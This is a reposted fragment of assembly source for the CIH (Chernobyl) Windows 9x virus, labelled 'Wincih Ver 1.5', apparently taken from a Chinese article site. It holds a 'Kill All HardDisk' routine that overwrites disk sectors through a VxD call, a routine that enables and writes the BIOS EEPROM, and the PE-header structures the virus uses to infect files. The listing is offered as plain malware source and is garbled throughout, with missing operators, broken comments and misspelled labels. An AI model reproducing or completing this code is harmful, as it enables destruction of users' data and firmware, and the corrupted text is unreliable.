
****************************

* Kill All HardDisk *

*********************************************************** **

; * IOR STRUCTURE OF IOS_SENDCOMMAND NEEDS *

*********************************************************** **

; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ??????? *

; * 00 00 00 00 00 00 00 00 00 10 00 c0 *

; * ?? ?? ???????????????????

; * ?? ?? ???????????????????

; * ?? ????????????????????? 80??? *

*********************************************************** **

Killharddisk:

XOR EBX, EBX

MOV BH, FirstkillhardDiskNumber

Push EBX

SUB ESP, 2CH

Push 0C0001000H

MOV BH, 08H

Push EBX

Push ECX

Push ECX

Push ECX

Push 40000501H

Inc ECX

Push ECX

Push ECX

MOV ESI, ESP

SUB ESP, 0ACH

Loopofkillharddisk:

INT 20H

DD 00100004H; vxdcall ios_sendcommand

CMP Word PTR [ESI 06H], 0017H

JE KillNextDataSECTION

ChangenexthardiSK:

Inc Byte PTR [ESI 4DH]

JMP loopofkillharddisk

KillNextDataSecion:

Add DWORD PTR [ESI 10H], EBX

MOV BYTE PTR [ESI 4DH], FirstkillhardDiskNumber

JMP loopofkillharddisk

****************************

* Enable EEPROM to write *

************************* EnableeeProMTowrite:

MOV [EAX], CL

MOV [ECX], Al

MOV BYTE PTR [EAX], 80H

MOV [EAX], CL

MOV [ECX], Al

RET

****************************

; * IO for EEPROM *

****************************

IOFOREPROM:

@ 10 = IOFOREPROM

XCHG Eax, EDI

XCHG EDX, EBP

OUT DX, EAX

XCHG Eax, EDI

XCHG EDX, EBP

IN Al, DX

Booleancalculatecode = $

OR Al, 44h

XCHG Eax, EDI

XCHG EDX, EBP

OUT DX, EAX

XCHG Eax, EDI

XCHG EDX, EBP

Out dx, al

RET

*********************************************************** *********

; * Static Data *

*********************************************************** *********

Lastvxdcalladdress = ifsmgr_ring0_fileio

Vxdcalladdresstable db 00h

DB IFSMGR_RemoveFilesystemapiHook-_PageAllocate

DB Unitobcspath-IFSMGR_RemoveFilesystemapiHook

DB IFSMGR_RING0_FILEIO-UnitObcspath

Vxdcallidtable DD 00010053H, 00400068H, 00400041H, 00400032H

Vxdcalltablesize = ($ -vxdcallidtable) / 04h

*********************************************************** *********

; * Virus Version CopyRight *

*********************************************************** *********

VirusversionCopyright DB 'Wincih Ver 1.5 by Tatung, Thailand'

*********************************************************** *********

; * Virus size *

*********************************************************** *********

Virussize = $

SizeofviruscodeSecionTablendmark (04H)

Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)

SizeofthefirstviruscodesectionTable (04H); **************************************************** *************

* Dynamic Data *

*********************************************************** *********

VirusGameDataStartaddress = Virussize

@ 6 = VirusGameDataStartAddress

Onbusy DB 0

FILEMODIFICATIONTIME DD?

FileNameBuffer DB FileNameBuffersize Dup (?)

@ 7 = filenamebuffer

DataBuffer = $

@ 8 = DataBuffer

NUMBEROFSECTIONS DW?

TIMEDATESTAMP DD?

SymbolSpointer DD?

NUMBEROFSYMBOLS DD?

SIZEOFOPTIONALHEADER DW?

_Characteristics DW?

Magic dw?

LinkerVersion DW?

SizeOfCode DD?

SIZEOFINIALIZEDDATA DD?

SIZEOFUNITIALIZEDDATA DD?

AddressofENTRYPOINT DD?

BaseOfCode DD?

BaseOfData DD?

IMAGEBASE DD?

@ 9 = $

SECTIONALIGNMENT DD?

FileAlIgnment DD?

OPERATINGSYSTEMVERSION DD?

ImageVersion dd?

SUBSYSTEMVERSION DD?

RESERVED DD?

SIZEOFIMAGE DD?

SizeOfheaders DD?

SizeOfimageretead = $ -Numberofsections

NewaddressofentryPoint = dataBuffer; DWORD

SizeOfimageHeadertowrite = 04h

STARTOFSECTIONTABLE = @ 9

SectionName = startTable; QWord

Virtualsize = startofsectionTable 08H; DWORD

VirtualAddress = StartofsectionTable 0CH; DWORD

SizeOfrawData = StartofsectionTable 10h; DWordPointertorawData = StartofsectionTable 14H; DWORD

PointertoreLocations = StartofsectionTable 18h; DWORD

PointertolinenumBers = StartofsectionTable 1CH; DWORD

Numberofrelocations = StartofsectionTable 20h; Word

Numberoflinennmbers = StartofsectionTable 22h; Word

Characteristics = StartofsectionTable 24h; DWORD

SizeOfScetionTable = Characteristics 04H-SectionName

*********************************************************** *********

; * Virus Total NEED MEMORY *

*********************************************************** *********

VirusNeedBaseMemory = $

VirustotalneedMemory = @ 9

Numberofsections (??) * SizeOfScetionTable (28H)

SizeofviruscodeSecionTablendmark (04H)

Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)

SizeofthefirstViruscodeSECTIONTABLE (04H)

*********************************************************** *********

Virusgame ends

End FileHeader

转载请注明原文地址:https://www.9cbs.com/read-131590.html

New Post(0)